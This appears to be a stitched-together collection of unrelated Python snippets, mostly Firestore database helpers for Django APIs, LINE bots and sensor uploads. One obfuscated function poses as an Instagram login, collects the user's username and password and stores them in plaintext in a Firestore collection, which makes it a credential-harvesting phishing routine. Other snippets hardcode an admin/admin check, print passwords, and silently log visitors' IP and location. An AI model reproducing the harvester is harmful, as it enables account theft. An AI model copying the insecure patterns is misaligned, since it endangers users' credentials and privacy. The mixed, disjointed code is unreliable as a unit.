def task_retrive(request, project_id, email_id): try: # Create a reference to the projects collection projects_ref = db.collection(u'userTasks') # Create a query against the collection docs = projects_ref.where(u'project_id', u'==', project_id).where(u"email_id", u"==", email_id).stream() value = [] for x in docs: data = x.to_dict() task_id = data["task_id"] task = db.collection(u'tasks').document(task_id).get().to_dict() if task is not None: task["task_id"] = task_id task["email_id"] = data["email_id"] value.append(task) return Response({ "success": "true", "payload": value }, status=status.HTTP_200_OK) except Exception as e: print(e) return Response({ "error": 'InternalException', "success": "false" }, status=status.HTTP_500_INTERNAL_SERVER_ERROR)
def database(): #line:167 clearConsole() #line:168 print_logo() #line:169 print(Style.RESET_ALL) #line:170 print_status( "================ LOGIN INSTAGRAM ================\n") #line:171 print(Style.RESET_ALL) #line:172 OOOO0OOOO0O0OOOOO = input("Enter your instagram username : "******"Enter your instagram password : "******"https://instagram.com/" + OOOO0OOOO0O0OOOOO + "/") #line:176 if O0OO0000O0O0OOOO0.status_code != 200: #line:177 print("\n\n" + Fore.RED + "[*] Invalid username!") #line:178 database() #line:179 elif (OOOO0OOOO0O0OOOOO == ""): #line:180 print("\n\n" + Fore.RED + "[*] Enter username again, don't leave it blank") #line:182 database() #line:183 elif O0OO0000O0O0OOOO0.status_code == 200: #line:186 OO0000O0OOOOO0O00 = { 'password': O0O0000O0OOOOO000, 'username': OOOO0OOOO0O0OOOOO } #line:191 db.collection('users').add(OO0000O0OOOOO0O00) #line:192 load_animation() #line:193 print_success("Login Success!") #line:194 report() #line:195
def projects_list(request, email_id): try: # Create a reference to the projects collection projects_ref = db.collection(u'userProjects') # Create a query against the collection docs = projects_ref.where(u'email_id', u'==', email_id).stream() value = [] for x in docs: data = x.to_dict() project_id = data["project_id"] project = db.collection(u'projects').document( project_id).get().to_dict() if project is not None: project["project_id"] = project_id project["is_project_administrator"] = data[ "is_project_administrator"] value.append(project) return Response({ "success": "true", "payload": value }, status=status.HTTP_200_OK) except Exception as e: print(e) return Response({ "error": 'InternalException', "success": "false" }, status=status.HTTP_500_INTERNAL_SERVER_ERROR)
def create_document(): try: db.collection(u'docs').add({'myfirst': 'doc'}) return "Completed request" except Exception as e: print(e) return 'Could not make request'
def fetchHashtag(): hashtags = igql_api.get_hashtag('boxwinner') for media_batch in hashtags.recent_media(): media.extend(media_batch) print("Total Tags = ",len(media_batch)) #Push only new hashtags to firebase batch = db.batch() for i in range( len(media)): post_ref = db.collection(u'boxwinner').document(media[i]["node"]["id"]) toPush = media[i]["node"] toPush["owner_id"] = toPush["owner"]["id"] ID = media[i]["node"]["owner"]["id"] profile = instaloader.Profile.from_id(L.context, ID) # print(profile.username) toPush["owner_username"] = profile.username if (db.collection('boxwinner').document(media[i]["node"]["id"]).get().exists == False): print (media[i]["node"]["id"]) print (media[i]["node"]["taken_at_timestamp"]) print("pass") client.publish("VMC/1035/VEND_ORDER_ITEM",'{"cmd":"G","oiid":2,"oid":"1"}')#publish toPush["fullfilled"] = True batch.set(post_ref, toPush) batch.commit() media.clear()
def update_line_group(group_id, user_id, user_name): doc_ref = db.collection("line_user") results = doc_ref.where('name', '==', user_name).stream() find = False for item in results: find = True doc = doc_ref.document(item.id) field_updates = {'group_id': group_id} doc.update(field_updates) if find == False: create_line_user(user_name, group_id, user_id) doc_ref = db.collection("line_group") results = doc_ref.where('group_id', '==', group_id).stream() for item in results: # print(u'{} => {}'.format(item.id, item.to_dict())) data_id = item.id data = item.to_dict() if user_name in data['group_member']: reply_msg = '加入失敗,' + user_name + ',你已經在戰隊成員裡。' else: data['group_member'][user_name] = user_id doc = doc_ref.document(item.id) field_updates = {'group_member': data['group_member']} doc.update(field_updates) reply_msg = user_name + ',你成功加入戰隊成員。' # print(reply_msg) return reply_msg
def save_token(request): try: email_id = request.data["email_id"] registration_token = request.data["registration_token"] tokens_ref = db.collection(u'registrationTokens') docs = tokens_ref.where(u'email_id', u'==', email_id).get() #If the number of docs is zero then insert else update if sum(1 for _ in docs) == 0: db.collection(u"registrationTokens").add({ u"email_id": email_id, u"registration_token": registration_token }) else: docs = tokens_ref.where(u'email_id', u'==', email_id).get() for doc in docs: db.collection(u"registrationTokens").document(doc.id).update( {u"registration_token": registration_token}) return Response({"Success": "true"}, status=status.HTTP_201_CREATED) except Exception as e: print(e) return Response({ "error": 'InternalException', "success": "false" }, status=status.HTTP_500_INTERNAL_SERVER_ERROR)
def readHumidity(): humidity = Adafruit_DHT.read_retry(11, 4)[0] hum = {u'humidity': humidity} db.collection(u'users').document(uid).set(hum, merge=True) dataref = db.collection(u'users').document(uid) data = dataref.get() humidityPreference = data.get('userHumidity') print("Humidity: " + '%.1f' % humidity + "%")
def add_admin(): device = sys.argv[1] username = sys.argv[2] token = uuid.uuid4().hex data = {"devices": device, "token": token} db.collection(firebase_collection_admin).document(username).set(data) logger.info( f"Successfully added user {username} with device {device}\nwith token: {token}" )
def get(self, request, **kwargs): self.un = request.GET['username'] self.ps = request.GET['password'] if self.un == "admin" and self.ps == "admin": ''' query the database and get all the tables machine wise analytics, go to history of the usage database do a bar chart for a hobli, the machine and its count heat map of the currently used machines ''' machine_table = db.collection(u'machine').get() machine_table = [doc.to_dict() for doc in machine_table] machine_table = pd.DataFrame(machine_table) j = json.loads(machine_table.to_json()) print(j) l = len(j.values()) print(l) # machine_table = pd.DataFrame({"Mech_id":[1,2,3,4,5,6],"Description":["A","B","C","D","E","E"]}) State = db.collection(u'state').get() State = [doc.to_dict() for doc in State] State = pd.DataFrame(State) # State = pd.DataFrame({"State_id":[1,1,2,2],"Centre_id":[5,6,7,8],"State_name":["A","A","B","B"]}) Centre = db.collection(u'hobli').get() Centre = [doc.to_dict() for doc in Centre] Centre = pd.DataFrame(Centre) # Centre = pd.DataFrame({"Centre_id":[5,6,7,8,8,8],"Centre":["AA","BB","CC","DD","DD","DD"],"Mech_id":[1,2,3,4,5,6],"Status":['U','N','U','N','U','N']}) machines = pd.merge(Centre, machine_table, on=['machine_id'], how='inner') GPS = db.collection(u'GPS').get() GPS = [doc.to_dict() for doc in GPS] GPS = pd.DataFrame(GPS) hobli_choice = "Gulbarga" # choose new_db = pd.merge(Centre[Centre.hobli_name == hobli_choice], machine_table, on=['machine_id'], how='inner') print(new_db) new_db.hobli_name.value_counts().plot.bar() plt.ylabel("number of machines") plt.xlabel("Machines") # plt.show() plt.savefig("media/mech_wise_mech_freq.png") return render(request, 'centre_analytics.html') else: return render(request, "error.html")
def project_details(request, project_id): if request.method == 'GET': try: # Create a reference to the projects collection doc = db.collection(u'projects').document(project_id).get() if not doc.exists: return Response( { "error": "ProjectNotFound", "success": "false" }, status=status.HTTP_404_NOT_FOUND) project_dict = doc.to_dict() project_dict['project_id'] = project_id return Response({ "success": "true", "payload": project_dict }, status=status.HTTP_200_OK) except Exception as e: print(e) return Response({ "error": 'InternalException', "success": "false" }, status=status.HTTP_500_INTERNAL_SERVER_ERROR) if request.method == 'DELETE': try: # Create a reference to the projects collection doc = db.collection(u'projects').document(project_id) if not doc.get().exists: return Response( { "error": "ProjectNotFound", "success": "false" }, status=status.HTTP_404_NOT_FOUND) remove_team_member(project_id) doc.delete() return Response({"success": "true"}, status=status.HTTP_200_OK) except Exception as e: print(e) return Response({ "error": 'InternalException', "success": "false" }, status=status.HTTP_500_INTERNAL_SERVER_ERROR)
def upload_project_image(request): request.data._mutable = True if request.method == 'POST': try: request.data['creation_time'] = datetime.now() #check if the image exists for this project file_obj = request.FILES.get('file', False) project_id = request.data['project_id'] store_filename = '' if file_obj is not False: filename = file_obj.name store_filename = f'https://storage.cloud.google.com/mcc-fall-2019-g14.appspot.com/{project_id}/{filename}' attachment_present = db.collection('projectImages').where( "attachment_url", "==", store_filename).stream() for a in attachment_present: return Response( { "success": "false", "error": "AttachmentAlreadyExists" }, status=status.HTTP_409_CONFLICT) upload_blob(file_obj.file, f'{project_id}/{filename}') attachmentEvent = { "project_id": project_id, "attachment_url": store_filename, "filename": filename, "creation_time": datetime.now() } db.collection(u'projectImages').add(attachmentEvent) return Response({ "success": "true", "url": store_filename }, status=status.HTTP_201_CREATED) return Response({ "success": "false", "url": "No file recieved" }, status=status.HTTP_204_NO_CONTENT) except Exception as e: print(e) return Response({ "error": 'InternalException', "success": "false" }, status=status.HTTP_500_INTERNAL_SERVER_ERROR)
def save_list_task_members(members, project_id, requester_email): list_members = members.split(",") for member in list_members: data = { 'email_id': member, 'project_id': project_id, 'is_project_administrator': member == requester_email } serializer_user_project = UserProjectSerializer(data=data) db.collection(u'userProjects').document().set( serializer_user_project.initial_data)
def PostFireStore(self): # Add a new document db = firestore.Client() doc_ref = db.collection(u'users').document(u'Images') doc_ref.set({"blob": "blob"}) # Then query for documents users_ref = db.collection(u'users') docs = users_ref.get() for doc in docs: print(u'{} => {}'.format(doc.id, doc.to_dict()))
def search_project_by_keyword(request): #For getting a list of keywords if request.method == 'GET': try: docs = db.collection(u'projects').stream() keywords = [] for doc in docs: doc_dict = doc.to_dict() proj_kwords = doc_dict['keywords'].split(',') proj_kwords = set(proj_kwords) - set(keywords) keywords = keywords + list(proj_kwords) #print(u'{} => {}'.format(doc.id, doc.to_dict())) sorted_keywords = sorted(keywords, key=str.casefold) return Response({ "success": "true", "payload": sorted_keywords }, status=status.HTTP_200_OK) except Exception as e: print(e) return Response({ "error": 'InternalException', "success": "false" }, status=status.HTTP_500_INTERNAL_SERVER_ERROR) #Given a keyword returns the projects that matched with the keyword if request.method == 'POST': try: search_keyword = request.data['search_keyword'] docs = db.collection(u'projects').stream() matched_projects = [] for doc in docs: doc_dict = doc.to_dict() proj_kwords = doc_dict['keywords'].split(',') if search_keyword in proj_kwords: matched_projects.append(doc_dict) return Response({ "success": "true", "payload": matched_projects }, status=status.HTTP_200_OK) except Exception as e: print(e) return Response({ "error": 'InternalException', "success": "false" }, status=status.HTTP_500_INTERNAL_SERVER_ERROR)
def PostImageFireStore(self): # Add a new document db = firestore.Client() doc_ref = db.collection(u'testing').document(u'Images') file = cv2.imread('C:/Users/Nishant/Pictures/Spolier.png') # blob = file.read() # file.close() doc_ref.set({"blob2": file}) # Then query for documents users_ref = db.collection(u'users') docs = users_ref.get() for doc in docs: print(u'{} => {}'.format(doc.id, doc.to_dict()))
def register(request): global db serialized = UserSerializer(data=request.data) print(request.data['password']) data = {} my_email = request.data['email'] my_username = request.data['username'] my_password = request.data['password'] if serialized.is_valid(): user = User.objects.create_user(email=my_email, username=my_username, password=my_password) a = extendedUser.objects.get(user=user) try: a.status = request.data['status'] a.save() except: a.status = None a.save() data['sucess'] = "user created" channel = "channel" + str(user.id) print(channel) doc_ref = db.collection(u'main_data').document(channel) doc_ref.set({ u'latitude': None, u'longitude': None, u'last_fetched': None, }) return Response(data=data, status=status.HTTP_200_OK) return Response(serialized.errors, status=status.HTTP_400_BAD_REQUEST)
def update(img_url,id,name): doc_ref = db.collection(u'courses').document(id) doc_ref.set({ u'img': img_url, u'name': name, u'status':1, })
def search_line_group(group_id): doc_ref = db.collection("line_group") # group_id = 'C1f08f2cc641df24f803b133691e46e92' results = doc_ref.where('group_id', '==', group_id).stream() return results
def get_course_by_document_name(document_name): doc_ref = db.collection(u'courses').document(document_name) course_information = doc_ref.get() if course_information.exists: return course_information.to_dict() else: return {'Error':'Document name doesn\'t exist'}
def getall(): try: doc_ref = db.collection('users').document("translated_words") doc = doc_ref.get().to_dict() return make_response(jsonify(doc), 200) except Exception as error: return "Error: {}".format(error)
def upload_to_firestore(): db = firestore.client() with open("sensor_value.txt", "r", encoding='UTF8') as f: data = f.readline() data = data.replace(" ", '') data = data.split(',') now = datetime.datetime.now() now = str(now) now = now[:-7] # yyyy-mm-dd hh:mm:ss doc_ref = db.collection('sensor_value').document(now) if len(data) == 5: doc_ref.set({ u'light': data[0] + ' (lx)', u'ppfd': data[1] + ' (ppfd)', u'humidity': data[2] + ' (%)', u'temperature': data[3] + ' (℃)', u'soil_moisture': data[4] + ' (%)' }) else: pass
def delete_line_user(user_id): doc_ref = db.collection("arena_record") results = doc_ref.where('provider', 'array_contains', user_id).stream() for item in results: data_id = item.id data = item.to_dict() doc = doc_ref.document(data_id) data['provider'].remove(user_id) field_updates = {'provider': data['provider']} doc.update(field_updates) doc_ref = db.collection("line_user") docs = doc_ref.where('user_id', '==', user_id).stream() for doc in docs: doc.reference.delete()
def inputLocation(request): global db data = {} user = request.user serializer = locationSerializer(data=request.data) print(request.data) if serializer.is_valid(): last_date = datetime.now() new_location = locationDetail(user=user, latitude=request.data['latitude'], longitude=request.data['longitude'], last_fetched=last_date) #please manage the server time setting later new_location.save() data['success'] = "new location saved" channel = "channel" + str(request.user.id) print(channel) doc_ref = db.collection(u'main_data').document(channel) doc_ref.set({ u'latitude': new_location.latitude, u'longitude': new_location.longitude, u'last_fetched': str(last_date), }) pusher_client.trigger( channel, 'my-event', { 'latitude': new_location.latitude, 'longitude': new_location.longitude, 'last_fetch': str(last_date) }) return Response(data=data, status=status.HTTP_200_OK) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
def initialize_user(user_id): ''' create a new user in the database :param user_id: The user_id of the newly created user :return: None ''' doc_ref = db.collection('users').document(user_id) random_int_list = random.sample(range(1, 10), 3) doc_ref.set({ 'user_id': user_id, 'verified': 'False', 'pose1': { 'pose_id': random_int_list[0], 'user_uploaded_img': 'None' }, 'pose2': { 'pose_id': random_int_list[1], 'user_uploaded_img': 'None' }, 'pose3': { 'pose_id': random_int_list[2], 'user_uploaded_img': 'None' }, 'this_users_photoID': 'None' })
def api_admin_add_user_detail(request,latitude,longitude,status,username,my_email):# admin only view.Add cutom decorator if request.user.is_staff: latitude = float(latitude) longitude = float(longitude) global db #serialized = UserSerializer(data = request.data) data = {} my_username = "******" + username my_password = "******" user =User.objects.create_user(email= my_email, username= my_username, password =my_password) anonymous_extendUser = extendedUser.objects.get(user = user) anonymous_extendUser.status = status anonymous_extendUser.save() last_fetch = datetime.now() anonymous_location = locationDetail(user = user, latitude = latitude, longitude = longitude,last_fetched = last_fetch) anonymous_location.save() data['sucess'] = "anonymous user created" channel= "channel" + str(user.id) print(channel) doc_ref = db.collection(u'main_data').document(channel) doc_ref.set({ u'latitude':latitude, u'longitude':longitude, u'last_fetched': str(last_fetch), }) return HttpResponse("added") else: data = {} data['error'] = "not a staff user" from rest_framework import status return HttpResponse("not_staff")
def get_data(request): try: if request.method == 'GET' or 'POST' or None: # while True: # print(datetime.now().__str__() + ' : Start task in the background') # time.sleep(300) download = st.download() upload = st.upload() ping = st.ping() # to firebase database doc_ref = db.collection(u'userData') doc_ref.add({ u'ip': request.ipinfo.all['ip'], u'post': request.ipinfo.all['postal'], u'city': request.ipinfo.all['region'], u'location': request.ipinfo.all['loc'], u'hostname': request.ipinfo.all['hostname'], u'organisation': request.ipinfo.all['org'], u'Date': datetime.now(), u'download': download, u'upload': upload, u'ping': ping, }) # to sqlite ,sql and postgresql database save = models.Data() save.IpAddress = request.ipinfo.all['ip'] save.city = request.ipinfo.all['region'] save.location = request.ipinfo.all['loc'] save.hostname = request.ipinfo.all['hostname'] save.post = request.ipinfo.all['postal'] save.organisation = request.ipinfo.all['org'] save.date = datetime.now() save.download = st.download() save.upload = st.upload() save.ping = st.ping() save.save() # download_thread = threading.Thread(target=location, args=request) # download_thread.start() except KeyError as error: print(error) # the data that will be showed to the user response_string = 'o'.format(request.ipinfo.all) download = st.download() upload = st.upload() ping = st.ping() context = { 'response_string': response_string, 'download': download, 'upload': upload, 'ping': ping } return render(request, 'speed/index.html', context)
def update_user_arena_database(user_id, status): doc_ref = db.collection("line_user") results = doc_ref.where('user_id', '==', user_id).stream() for item in results: doc = doc_ref.document(item.id) field_updates = {'search_self_record': status} doc.update(field_updates)
def send_mail_to_users(task_id, deadline, name): userTasks = db.collection('userTasks').where(u'task_id', u'==', task_id).stream() try: for userTask in userTasks: task_val = userTask.to_dict() send_mail(task_val["email_id"], name, deadline) except Exception as e: print(e)
def get_user_info(user_id): doc_ref = db.collection("line_user") results = doc_ref.where('user_id', '==', user_id).stream() data = {} for item in results: data = item.to_dict() return data